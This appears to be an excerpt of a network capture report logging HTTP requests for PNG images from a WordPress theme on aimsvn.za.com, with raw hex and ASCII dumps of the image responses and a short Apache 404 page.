3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 00:38:19.179693937 CEST	306	OUT	GET /wp-content/themes/musuem/images/logo.png HTTP/1.1 Host: aimsvn.za.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jun 10, 2024 00:38:19.980741024 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 09 Jun 2024 22:38:19 GMT Server: Apache Last-Modified: Thu, 11 Jan 2024 08:32:14 GMT Accept-Ranges: bytes Content-Length: 3331 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/png Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e2 00 00 00 30 08 06 00 00 00 0c e6 a6 f3 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 0c bd 49 44 41 54 78 01 ed 9c 3d 77 1b b9 15 86 47 b6 7a d3 bf c0 4c ca 34 66 4e d2 6b 5c 64 53 9a ee b3 c7 a3 5f 60 fa ab 8d a8 da 1f d2 fe 02 8f 72 d2 9b ee b2 95 c9 7e cf 46 aa dc 65 a9 5f b0 52 5a 7f 30 cf 4b 03 5c 0c 06 43 42 12 87 de 8d 31 e7 8c 81 7b 71 71 2f e6 05 5e 7c 0c 47 de fa 6f ff f7 b3 ac 85 0b a7 3f de 18 fd e7 4f 72 fd f7 ef b3 1f b6 b6 b2 79 7e dd a1 f6 ff 92 5d cb b6 b2 56 9e 61 dd 6d 4d fe 12 02 4d 08 5c 6b 2a 48 fa 84 40 42 60 73 08 24 22 6e 0e eb 14 29 21 d0 88 40 22 62 23 34 a9 20 21 b0 39 04 12 11 37 87 75 8a 94 10 68 44 20 11 b1 11 9a 54 90 10 d8 1c 02 89 88 9b c3 3a 45 4a 08 34 22 b0 dd 58 92 0a 12 02 09 81 95 08 3c 7c f8 70 67 6b 6b 2b b7 86 e4 cf 3e 7e fc f8 e6 f0 f0 70 6a 75 31 69 22 62 0c 4a c9 26 21 e0 21 f0 e8 d1 a3 3d 54 03 88 d7 f1 8a b2 6b d7 ae dd 44 37 f4 f5 cb e4 af 96 88 4f 9e 3c c9 3f 7d fa b4 d3 00 ce e9 cb 97 2f cb [TRUNCATED] Data Ascii: PNGIHDR0sRGBIDATx=wGzL4fNk\dS_`r~Fe_RZ0K\CB1{qq/^\|Go?Ory~]VamMM\kH@B`s$"n)!@"b#4 !97uhD T:EJ4"X<\|pgkk+>~pju1i"bJ&!!=TkD7O<?}/(`0!C'?e~l6_x1rmR$\|ElWKDHf Y0R>{-o.,E/_eMQ@Qw sp59lW)Pq ]B)/MGg]V5$<Eb9>LYAkZkb]N%>}4a4!S.td<8AH+/r_!qt:qfR:KW_T5>0!hqrbND\XR,2uXQbwQgXF~ikZEUAVI!]MmR~kVCnVB#W.\yI326c2J.,g5O1s4V2fKObf\;w\|F>F>6_zPdU<wVV?q?&O>lSupp59C_fJM={v,]Y_n?UFv<$ADp.:$r =pCk3nv~TGd!l
Jun 10, 2024 00:38:19.980777979 CEST	212	IN	Data Raw: 57 b2 b8 90 73 09 90 34 e3 b9 76 dd 8f 14 9a e2 f1 ac c7 d8 bf c6 6f ee fa db de de 9e e0 6a 2a 7f f6 ba 48 7c 7e 7f 1b 11 f3 e1 2a 1c 45 40 48 7f c0 5d 89 6f 63 ea 99 d4 2e f5 13 cf 93 5b bd 9f aa cf c0 73 0f db c2 2f 93 2c 3f 4a 89 23 5f 53 e4 Data Ascii: Ws4vojH\|~E@H]oc.[s/,?J#_S!#e&Vxa3n,fuotrKfA#}vWO\|vU0*~!}>wuz&lSr"Y5B(,\=>=s
Jun 10, 2024 00:38:19.980813980 CEST	1236	IN	Data Raw: 75 eb ca 6b c0 68 06 5f 97 3f eb 87 36 0f c8 f7 ac dc 94 9a f8 45 53 f9 32 3d ed 7e 15 22 23 2b 58 87 15 f3 2d e5 51 3b 88 a6 18 c6 f7 eb cb f8 a1 4e 01 89 5f 37 f9 6e 53 9f 88 18 46 b7 74 d5 74 50 57 b3 ac ab 73 f3 1a 44 c8 15 b2 52 a7 74 6d d6 Data Ascii: ukh_?6ES2=~"#+X-Q;N_7nSFttPWsDRtm@H'4dwc'pI7&fut[!6TLlN3<"kB)Fvbv,\|/g3uffw[w?k[V^kF20=
Jun 10, 2024 00:38:19.980849028 CEST	890	IN	Data Raw: 13 f3 e2 a1 36 eb 07 5e bb 5f 2e 40 44 2d 06 e7 1b df 0c 6c 2a 6f 42 fd 72 c9 22 2b a4 ad bc 5d 96 9e 2d e8 58 e9 aa 4b 2b a4 b7 fa d5 aa 84 88 83 4e 1f 0d 74 6b c6 9e 82 b6 55 ce fa a6 78 e4 99 b5 2a 26 22 46 c0 2b 12 84 06 a1 53 b5 74 f2 ad 65 Data Ascii: 6^_.@D-loBr"+]-XK+NtkUx&"F+Stei0\%e/7@!MtN3X{?%SNjfz6Vv{V6~]<O;swS #M2p[l\H%d_4?}!CP\|X%OXI
Jun 10, 2024 00:38:21.116388083 CEST	305	OUT	GET /wp-content/themes/musuem/images/pdf.png HTTP/1.1 Host: aimsvn.za.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jun 10, 2024 00:38:21.348997116 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 09 Jun 2024 22:38:21 GMT Server: Apache Last-Modified: Thu, 11 Jan 2024 08:32:14 GMT Accept-Ranges: bytes Content-Length: 6830 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: image/png Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 1a 37 49 44 41 54 78 da ed 9d 4b 8c 1d d5 99 c7 bf 6a df 5b e9 17 a6 ed 7b bb 1d 26 9d 09 dd 12 56 36 b6 a3 04 e3 6e 70 33 02 9b 95 2d 99 c5 20 24 9c 71 46 1a c5 30 93 61 81 17 03 12 61 36 79 0c d9 98 01 bf 8d b2 18 90 e3 0c 91 26 44 83 67 c3 23 1b 90 bd b1 15 e3 cd c4 08 3b 11 e6 61 43 83 e3 71 f7 35 ed a6 6b 16 b7 ab bb 6e d5 a9 aa 53 55 e7 54 9d ef 9e ff 4f 6a f0 ad 5b f7 d4 77 ea d6 ff 7f de e7 3a 9e e7 11 00 c0 4e 7a aa 0e 00 00 50 1d 30 00 00 2c 06 06 00 80 c5 c0 00 00 b0 18 18 00 00 16 03 03 00 c0 62 60 00 00 58 0c 0c 00 00 8b 81 01 00 60 31 30 00 00 2c 06 06 00 80 c5 c0 00 00 b0 18 18 00 00 16 03 03 00 c0 62 60 00 00 58 0c 0c 00 00 8b a9 55 1d 40 1e 8e 1f 3f 2e dc c5 44 66 73 93 e5 53 e2 cf f5 a2 27 27 9c [TRUNCATED] Data Ascii: PNGIHDR\rf cHRMz&u0`:pQ<bKGD7IDATxKj[{&V6np3- $qF0aa6y&Dg#;aCq5knSUTOj[w:NzP0,b`X`10,b`XU@?.DfsS''yI'qs^9u~qnnp?\uPz&>E)Ozzz?kq#;0`YjaAS\HF#""dY:O/@C)fI<;o90 BI&`4\|19zoEPhRPql18$vqqj64555Vwg=:TJv\6%)H(_'_>fs]&jU]?2-rsU7T0_p<4"\|SCL@=Q(,^S`?@f1xw6~F7{\zBd;.F& 3\TqFcq9\|&A<{L 3, 1a!(`- FASK&px<pDd.W~g]hj0Yd4dK F`Y`j\7SQ{_fAS\
Jun 10, 2024 00:38:21.349013090 CEST	212	IN	Data Raw: 90 07 7f 53 11 d7 75 cf 1c 84 09 24 02 03 00 12 54 d3 79 10 ee 10 5c 8a 46 c2 1c 9a cd 06 6d de 0c 13 48 a3 4b 0c c0 93 3c 06 4c 47 24 f8 20 b2 fd 02 ed fd 04 1a b4 f9 9e 7b c6 5c b7 7e e6 e0 a1 43 43 55 e7 cd 44 ba c4 00 88 da 82 0f fe 99 4a 75 Data Ascii: Su$Ty\FmHK<LG$ {\~CCUDJuU8LAY<oxh.L@@$k&4M{A@.!Myj6tcu=s&K[MvM`ru3<#x
Jun 10, 2024 00:38:21.349066973 CEST	1236	IN	Data Raw: 29 6d 55 14 e8 ea 7e 6e a0 fb aa 23 e1 21 c0 38 f1 13 75 76 08 26 8d 12 04 b7 18 83 09 74 c2 d3 00 14 c1 4f 3e aa 4a 5c f3 73 ee 1b 41 52 bb 5f 24 f4 38 53 08 d2 6c 36 e9 ee 49 98 00 91 e5 06 90 99 c2 ba 31 5f 78 41 aa 18 34 08 6f 08 2a 33 0f 40 Data Ascii: )mU~n#!8uv&tO>J\sAR_$8Sl6I1_xA4o3@ f&'&&p^xIQ/!j\|-Sdxx&6ms]~KM:=KQ:IF\|7t(3r0<<L&6jVnP&fiM[?AXaKD:pOwKH
Jun 10, 2024 00:38:21.349080086 CEST	212	IN	Data Raw: cf 13 79 42 8d 41 b1 a2 65 b3 58 5a ef 3f b0 d5 00 bc 0c 47 55 a3 a3 d3 6f 39 fa 32 4b 7f f6 d5 ff b8 7c 55 1d 40 89 30 37 80 e0 57 e5 24 bc 27 97 82 7e d4 89 3f be e3 2f 6b 2a 6a 4a 7f 55 95 85 aa 27 ff 18 94 5c 29 30 37 80 20 e9 b7 bf da 2f 48 Data Ascii: yBAeXZ?GUo92K\|U@07W$'~?/k*jJU'\)07 /Hy+YKj{9J>tU;G{>l1{}Iaus+,'?Jtx<-U<?#Vmy:@@)BXRgU{KP
Jun 10, 2024 00:38:21.349122047 CEST	1236	IN	Data Raw: 1a 80 91 f7 b9 2c f1 17 89 ac d8 b0 5f 91 d2 1f d5 7f 33 61 5a 03 30 e9 8b d5 23 fc b4 bc e7 6d f7 ab 0a 89 6d e9 6f 70 0c 55 c0 d4 00 4c 40 ff b2 37 75 ed fe b4 ac a8 2f fd 3b 92 cf f9 b9 85 d6 0c cd 7d 70 81 88 88 6a 8d 11 aa 35 d6 14 cf ab 46 Data Ascii: ,_3aZ0#mmopUL@7u/;}pj5Fs4@fYv/^;yTk=7?}8F7D_yZ)0i$M\|_E]O+V/Yk]9s.H\K<`+\|K{75~fX@%uDO
Jun 10, 2024 00:38:21.349139929 CEST	1236	IN	Data Raw: 15 6f 86 29 da 9c b3 23 55 cf a3 cf 5e da 1b 39 2e 2b 7e 9f 15 7d 03 74 db 13 bf 20 77 74 2c f1 ae e9 c5 e0 d2 9f 61 55 83 af 01 84 90 17 76 1c 62 c1 13 a9 13 bd 8f 3b 3a 4e 23 1d e2 5f be a6 7f 2d 11 ed 1d 72 a2 a5 e3 ec d9 93 f1 b9 f2 bc f6 4e Data Ascii: o)#U^9.+~}t wt,aUvb;:N#_-rN:*;7@k}PPaN_,O4:9 ""[<9N g]?FZy;_'(1gKh%^xwt'R:5&u)U'lyKLG>
Jun 10, 2024 00:38:21.349174976 CEST	1236	IN	Data Raw: bb f6 d0 ca fb 76 48 9c 19 a5 a7 6f 80 9a bb 9e a0 c1 89 ad b9 3e bf 78 67 4a fc 94 7e 4c 8d 4b 16 de 35 00 c3 f0 24 c6 18 1d 87 68 45 7f bb fa 7e fd e4 1b f4 45 e0 c7 36 92 a8 ad 1e a1 55 db 77 d2 e0 e4 d6 c2 9b 77 ac 7e 68 37 f5 6f 98 94 fa 61 Data Ascii: vHo>xgJ~LK5$hE~E6Uww~h7oaP-4mg?(J[iIj?GsU~=w&c*~k>p+k,n#qeN?c"pkK;:Nx+@I_D
Jun 10, 2024 00:38:21.349194050 CEST	468	IN	Data Raw: 40 31 7f bd ff bf ab 0e 21 17 f5 7a 8d fe ed d9 67 e9 5f 7f fc 63 a7 78 6a e5 81 79 00 00 58 0c 53 03 40 ab 16 18 08 c3 c7 d2 f8 26 40 77 c2 f0 49 01 5d 09 0c a0 14 e4 7b ec 01 5f 38 7e b5 30 00 e5 78 89 2f c3 7c 4b d0 e9 c5 f1 41 02 3c 81 01 e4 Data Ascii: @1!zg_cxjyXS@&@wI]{_8~0x/\|KA<:3%Jxw<LH4)8e6AqRSt`L`$bX&jiPeiAp&0W45-

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 00:38:21.128226995 CEST	312	OUT	GET /wp-content/themes/musuem/images/logo_strip.png HTTP/1.1 Host: aimsvn.za.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jun 10, 2024 00:38:21.935240030 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 09 Jun 2024 22:38:21 GMT Server: Apache Last-Modified: Thu, 11 Jan 2024 08:32:14 GMT Accept-Ranges: bytes Content-Length: 7541 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/png Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 70 00 00 00 60 08 06 00 00 00 9d 5a 4f 11 00 00 00 04 67 41 4d 41 00 00 b1 8e 7c fb 51 93 00 00 00 20 63 48 52 4d 00 00 87 0f 00 00 8c 0f 00 00 fd 52 00 00 81 40 00 00 7d 79 00 00 e9 8b 00 00 3c e5 00 00 19 cc 73 3c 85 77 00 00 0a 39 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 48 c7 9d 96 77 54 54 d7 16 87 cf bd 77 7a a1 cd 30 02 52 86 de bb c0 00 d2 7b 93 5e 45 61 98 19 60 28 03 0e 33 34 b1 21 a2 02 11 45 44 9a 22 48 50 c4 80 d1 50 24 56 44 b1 10 14 54 b0 07 24 08 28 31 18 45 54 2c 6f 46 d6 8b ae ac bc f7 f2 f2 fb e3 ac 6f ed b3 f7 b9 fb ec bd cf 5a 17 00 92 a7 2f 97 97 06 4b 01 90 ca 13 f0 83 3c 9c e9 11 91 51 74 ec 00 80 01 1e 60 80 29 00 4c 56 46 ba 5f b0 7b 08 10 c9 cb cd 85 9e 21 72 02 5f 04 01 f0 7a 58 bc 02 70 d3 d0 33 80 4e 07 ff 9f a4 59 e9 7c 81 e8 98 00 11 9b b3 39 19 2c 11 17 88 38 25 4b 90 2e b6 cf 8a 98 1a 97 2c 66 18 25 66 be 28 41 11 cb 89 39 61 91 0d 3e fb 2c b2 a3 98 d9 a9 3c b6 88 c5 39 [TRUNCATED] Data Ascii: PNGIHDRp`ZOgAMA\|Q cHRMR@}y<s<w9iCCPPhotoshop ICC profileHwTTwz0R{^Ea`(34!ED"HPP$VDT$(1ET,oFoZ/K<Qt`)LVF_{!r_zXp3NY\|9,8%K.,f%f(A9a>,<9SbL!G3,F0+7T3IlpX"61"H_qW,drIKst.Adp&+g]RY2EE44432PuoJEzg`j--b8oM</AqVV2Og$>]9La.+-%Mg3YuAxEKi<:Pcu@~( ]o0 ~ys7g%9%(3H@C`-pnVH@A1jPA3hA'8Kn`Lg`a!2D!H dAPBByfz:@]h~LCUpp%;56<?"GxGiE>&2 oQEGlQPUFFuzQ7QcYG4Gt]nB/o'1
Jun 10, 2024 00:38:21.935275078 CEST	1236	IN	Data Raw: c2 78 62 22 31 49 98 b5 98 12 cc 3e 4c 1b e6 1c 66 10 33 8e 99 c3 62 b1 f2 58 7d ac 1d d6 1f cb c4 0a b0 85 d8 2a ec 51 ec 59 ec 10 76 02 fb 06 47 c4 a9 e0 cc 70 ee b8 28 1c 0f 97 8f ab c0 1d c1 9d c1 0d e1 26 71 0b 78 29 bc 26 de 06 ef 8f 67 e3 Data Ascii: xb"1I>Lf3bX}*QYvGp(&qx)&gsF\|7:~@&h!$&B%pH$D.q#xx8F\|K!\H$!i.%L";r3EHK-AFCbH$^RSIrdd3Rx)-))zR#RsiSiT#W
Jun 10, 2024 00:38:21.935328960 CEST	424	IN	Data Raw: cc 4e de ce e1 5d 0e bb 0e 97 49 97 e5 96 8d ef f6 db dd 51 4e 2f 2f 2a 7f b5 27 66 cf 95 8a 65 15 75 7b 09 7b 85 7b 47 2b 7d 2b bb aa 34 aa 76 56 bd af 4e ac be 5d e3 5c d3 56 ab 58 bb bd 76 7e 1f 7b df d0 7e c7 fd ad 75 4a 75 c5 75 ef 0e 70 0f Data Ascii: N]IQN//*'feu{{{G+}+4vVN]\VXv~{~uJuuphj89yIcXco>=tE2}4\j5lo~q=''Z^utv&vvEv>mN9-{LOgsK?7s>xOLn
Jun 10, 2024 00:38:21.935363054 CEST	1236	IN	Data Raw: 76 e2 05 ff c5 a7 df 4b 5e ca bf 3c f4 6a d9 ab 9e b9 80 b9 47 af 53 5f 2f cc 17 bd 91 7f 73 f8 2d e3 6d df bb f0 77 93 0b 59 ef b1 ef 2b 3f e8 7e e8 fe e8 f3 f1 c1 a7 d4 4f 9f fe 05 03 98 f3 fc ba c4 e8 d3 00 00 00 09 70 48 59 73 00 00 0b 13 00 Data Ascii: vK^<jGS_/s-mwY+?~OpHYsIDATx^{dWA_=>BPEXD*GBT(e(X 1U)1PDH {gvggzf9h8"hpZ+
Jun 10, 2024 00:38:21.935398102 CEST	1236	IN	Data Raw: de 95 42 27 66 15 fb a9 db 15 7b c3 dd 8a bc fc c7 bd e7 5d 62 ab ca de ae a8 f0 dc fc b2 b7 66 6a ec 98 4f 6e 0c a0 f7 08 70 00 f6 c5 ab 40 4c f8 39 33 bf a8 eb 4e 4f f5 21 e6 74 61 cb 9b 3b 73 ff a3 ca 23 9f 52 f5 f3 0f a8 39 57 53 c8 66 cb 84 Data Ascii: B'f{]bfjOnp@L93NO!ta;s#R9WSfo3\|JM7+_`7M/tIv`VVL/9@hU}3}j<Z97m:BE5=gm=f&(_ToP VEca1_
Jun 10, 2024 00:38:21.935451984 CEST	424	IN	Data Raw: 74 5c c5 a2 76 09 2d bf 00 3d 17 0e 07 bd ae 6a 00 d8 09 01 0e 40 57 6c cb 5b 30 48 d5 d1 2f 2d f3 05 db f5 65 9b 4d d6 44 05 b0 33 6a 61 00 bb 66 c3 45 c8 5b 98 14 fd 13 30 01 39 e0 7d d7 00 b0 13 6a 62 00 bb e6 da d6 21 6a 8d be b3 4b 6a 11 df Data Ascii: t\v-=j@Wl[0H/-eMD3jafE[09}jb!jKj\U1][py8]"\ip980ZD01I~3z]#.[WK+&A3\VN;H8D3VFDXop?
Jun 10, 2024 00:38:21.935486078 CEST	1236	IN	Data Raw: fd 8e b2 f7 7e be 7d c1 31 6c a5 2a 95 6b 1a ca a4 fc 23 00 d8 1e 01 0e 40 d7 86 d2 49 15 cb fd 0a 70 ed d5 56 5b 55 b3 ad 99 4a 2a 3d ad ec 47 ee d3 e4 d3 2d 65 3e fc 39 85 4e bd a4 7d d9 31 64 ef 7d 6b 34 5d 05 19 c0 00 e0 0a a8 25 00 ec 49 38 Data Ascii: ~}1lk#@IpV[UJ=G-e>9N}1d}k4]%I8RzU7d+^?yXc)O.NjMxE\qKofe>GU?gGMgc~czl&pf)6zwO[_NKj[{Sw4VF#
Jun 10, 2024 00:38:21.935520887 CEST	756	IN	Data Raw: a0 e7 6c f7 e0 89 c9 51 ef 26 7d b4 b9 6e 4b cf 9d 5b d2 8b 4e 4c 5c 0c ba 00 b0 57 04 38 00 7d 91 4a c6 94 88 47 75 7e 31 e7 97 5c 9d 36 6f b9 9b 3b b7 ac 99 f1 61 85 c3 07 3d d9 31 80 e3 88 00 07 a0 6f ec f2 50 b1 68 44 f3 17 56 fd 92 ab 4d cb Data Ascii: lQ&}nK[NL\W8}JGu~1\6o;a=1oPhDVM%fLrFU\^jd(9rIgo/y,-pLXrn]RtvjfLX/!8PZ[~frDnlteKU-qCX8

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 00:38:21.133155107 CEST	304	OUT	GET /wp-content/themes/musuem/images/bg.png HTTP/1.1 Host: aimsvn.za.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jun 10, 2024 00:38:21.931842089 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 09 Jun 2024 22:38:21 GMT Server: Apache Last-Modified: Thu, 11 Jan 2024 08:32:14 GMT Accept-Ranges: bytes Content-Length: 452896 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/png Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0d 17 00 00 06 8f 08 06 00 00 00 b9 5b 38 b3 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 1d 87 00 00 1d 87 01 8f e5 f1 65 00 00 00 21 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 32 30 32 30 3a 31 30 3a 32 36 20 31 38 3a 31 30 3a 34 30 0b 2b a0 38 00 00 ff 78 49 44 41 54 78 5e ec fd cb 92 f4 48 d3 a4 89 7d f5 f5 6d f7 82 b7 c6 05 17 b3 e0 82 22 5c 50 84 94 11 92 32 c2 d3 c8 70 ba a7 fb 3f 2c a6 ab c6 54 d5 cc dc fc 00 04 22 33 df 63 d9 13 80 9b 9a 9a 03 70 38 10 91 f9 56 44 54 fe f1 bf ff bf fd a7 bf fe db 5f ff f8 c7 ff fa e7 3f fe f1 df 4c fc af 7f 8e f5 bf f9 ca da 5f 7f fd e3 4f d3 b6 d0 fb f3 1f 7f 98 fe eb 1f 7f 51 ff 83 3e 40 30 db 56 19 8c 7f fc 41 8f cd 1f 0a 4d d3 34 4d d3 fc 06 d8 cf 78 fb d1 7e 66 2a 94 7e 26 a4 c3 91 11 99 18 86 c2 94 28 8c c6 a9 7a 60 43 6c 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a a6 69 9a df [TRUNCATED] Data Ascii: PNGIHDR[8sRGBgAMAapHYse!tEXtCreation Time2020:10:26 18:10:40+8xIDATx^H}m"\P2p?,T"3cp8VDT_?L_OQ>@0VAM4Mx~f~&(z`Cliiiiiiiiii~BDsh`@r%\/KEK]!Vzii_rc/[/5XOniiiiiiiiii_XSH;[D""ww\|_"E#\|9$d+AE&B EAg4M4<b2_\DESaS,4M4M4M4M4M4M4M4M4M4M4/?q s&"Om/r4RQ\|_,/YT_r5\|~\|(ii_re[Hl,Q)4F,/p=_y?)Z~Z\|Y4M4M4M4M4M4M4MFDV?zt\|(de }H_e"\|_./}/E!1.iMKFZ&ErW-DDS{5ppa\|_f><x\|Snvl_Uxxl?s
Jun 10, 2024 00:38:21.931879044 CEST	212	IN	Data Raw: 3d c5 fa 79 d8 34 4d d3 34 4d d3 34 4d d3 34 4d d3 34 4d d3 34 4d d3 34 4d d3 fc 60 c6 27 74 c7 97 8b 00 54 a4 a1 f9 e5 22 d7 fa 92 51 f9 72 d1 ff f9 ff f5 5f fe d2 17 87 fe c1 2f 13 f1 2f 17 59 ce 2f 1a c1 43 8d 5a 39 be 23 44 6d 3b e1 17 8b b8 Data Ascii: =y4M4M4M4M4M4M4M`'tT"Qr_//Y/CZ9#Dm;L_*~NiiV\/.`ho6"<&dSU~/;7/<w\|x\|M~FkB-?k~j}gM4M4M4M4M
Jun 10, 2024 00:38:21.931912899 CEST	1236	IN	Data Raw: d3 34 4d d3 34 4d d3 34 cd 37 e4 f4 b6 74 78 f1 d1 59 06 6b f0 c9 5b 68 f8 5c 4d f3 0b 45 96 e4 97 8b fe 2f ff 1f 7c b9 48 7f 79 28 be 44 84 bf 54 84 2f 18 21 c7 97 82 f8 97 8b fe 31 be 44 84 3e 78 63 1f 35 6c 07 f0 c5 24 1e c1 50 3f 7d eb 09 7d Data Ascii: 4M4M47txYk[h\ME/\|Hy(DT/!1D>xc5l$P?}}m\|fR4MV/!%VM,2kAm!Q^z_w=F+;~xxsigsG+w{iiiiiiiKx;75gwQ9E
Jun 10, 2024 00:38:21.931946993 CEST	1236	IN	Data Raw: 5f 3d 8b 9f d9 df 57 cd c5 ef 71 67 34 4f 79 e7 be 19 cf 91 7d ab ab d2 3b fb bf 22 ef c9 e5 e6 1c e9 5c f8 cc cb db 27 36 fd 2e 7c c5 7c 56 7e f6 f3 0d 3e 73 de bf ca 39 fe 0e 7c ea fe b4 8d cf db bf b3 d7 eb ab fd 2b ff da d3 f7 f0 af cb 5b cf Data Ascii: _=Wqg4Oy};"\'6.\|\|V~>s9\|+[\|x&,s7$.+~!4M4M4M4M4M4M4M4?xdq"4ZE/;/Q">8'<iXWoX2;niicBMr
Jun 10, 2024 00:38:21.931981087 CEST	1236	IN	Data Raw: 3d f4 a7 ae 86 b1 a4 cd 1d 36 59 f3 7c 7d ab d9 3b dc 04 66 5d dd 1a 5f ce 76 9e e0 5b 9d eb df 83 f9 f9 7d be 92 93 eb c9 b9 e7 69 37 57 3d 41 b9 76 2e ef ae e6 54 bb e8 78 b7 fd 8f 64 bc 16 fe ac 23 6c 2a e3 3e 3e df bf e9 96 f2 d4 d3 12 fe 77 Data Ascii: =6Y\|};f]_v[}i7W=Av.Txd#l>>wGg?5k2a."\|)?}~(iiiiiii[.+gSL~;Bnd<rueI"9S\?c~h~;
Jun 10, 2024 00:38:21.932017088 CEST	636	IN	Data Raw: d3 34 4d d3 34 4d d3 34 4d d3 34 4d d3 34 4d d3 34 4d d3 fc 12 f0 fd e2 8b 37 8d d7 77 96 ff f8 af ff 5a be 5c f4 27 1a ff cb 45 78 67 de df a1 47 ce 84 d1 02 b6 f8 e3 f5 5f 2e 7a fc e5 a2 cd 10 b3 6d 99 96 89 b2 db 51 63 bf b9 27 b3 53 df 17 e4 Data Ascii: 4M4M4M4M4M4M7wZ\'ExgG_.zmQc'S)s&pQ%s9{Qcz;\|}`^~%55{oCcn-~*!W~gF%Ni%'/_XxFzLw%
Jun 10, 2024 00:38:21.932288885 CEST	1236	IN	Data Raw: 93 d3 b6 27 ef cc fc e1 d1 f3 c0 67 f3 d8 e5 05 87 d1 cf 1c 4a 2f b7 a9 3c ec b6 f2 c1 cd 3e c5 47 e6 ef 33 dc 9f e3 b7 9b 81 71 9e a6 3c a9 e7 3e ff fb 42 7d c2 1a ff ae 18 fe f4 6f 0d 4b 3c 25 75 5f 97 f8 a9 c6 19 c7 6b 15 5b 6b 5e fb 6c 33 07 Data Ascii: 'gJ/<>G3q<>B}oK<%u_k[k^l3W/wrO3gwy~g~.3\|Aa,^5:Z-w5+K#nQLxe\|r}_3\;L<:w{,VdOg??W,"f
Jun 10, 2024 00:38:21.932317972 CEST	212	IN	Data Raw: ee d3 bd ee 89 77 cb 7e d3 f3 63 f2 a5 76 df 85 39 29 41 49 26 df 58 ef 39 b6 ee 45 49 7d fc 27 b2 35 b3 ef b9 25 e9 67 93 81 a4 4e b1 8e 46 d4 6d 5e 73 d1 db ec bd f2 7c cf d9 f3 f9 26 6f f2 f1 1d 7f fe 39 de 34 4d d3 34 4d d3 34 4d d3 34 4d d3 Data Ascii: w~cv9)AI&X9EI}'5%gNFm^s\|&o94M4M4M4M4M4M4M"\7-{oN>e}_*@J5a^+DMyW.{3F91z" S-qY'CA]l/s{=F_K\|
Jun 10, 2024 00:38:21.932368994 CEST	1236	IN	Data Raw: ab b9 f8 d5 79 70 0d 8e 15 9a e7 6d 2e f7 84 02 ae c3 da e1 c1 b5 b9 bc ae c1 8b 7d dc 97 2f aa 2f f6 f9 51 de df ed 27 06 f2 8d ce a1 f9 99 18 3f eb 66 cc af 85 f2 33 71 68 6b b9 44 dc 3d 57 16 22 aa 19 5a 44 9f 13 bf e4 97 8b 3c 26 66 ac de fa Data Ascii: ypm.}//Q'?f3qhkD=W"ZD<&fLaLyJ:i(]&6FB%xz`0M.f4siK$gFpx-s*^ifS)ngOKsp=)E#e>\|
Jun 10, 2024 00:38:21.932403088 CEST	1236	IN	Data Raw: a3 52 a7 76 ae 89 d3 d4 1f 2c 63 0c 4e 61 24 d3 2c 30 77 11 b8 dc fc 4b c6 08 a8 b6 01 c9 d8 6b c5 07 53 0d cc c6 61 d3 03 e7 c2 8b 5d df f0 aa e3 93 f9 79 c8 ba ab c7 63 04 7b e7 e3 e6 b7 fb 7c e7 80 63 b0 f5 f9 02 4e ff 5e a0 45 6d 0f f7 98 5b Data Ascii: Rv,cNa$,0wKkSa]yc{\|cN^Em[-O59-y3ON YXFUR]!S`>Bp1e[B~91@wc+y:;~l<B}:3&Fz:_+_X<SQ
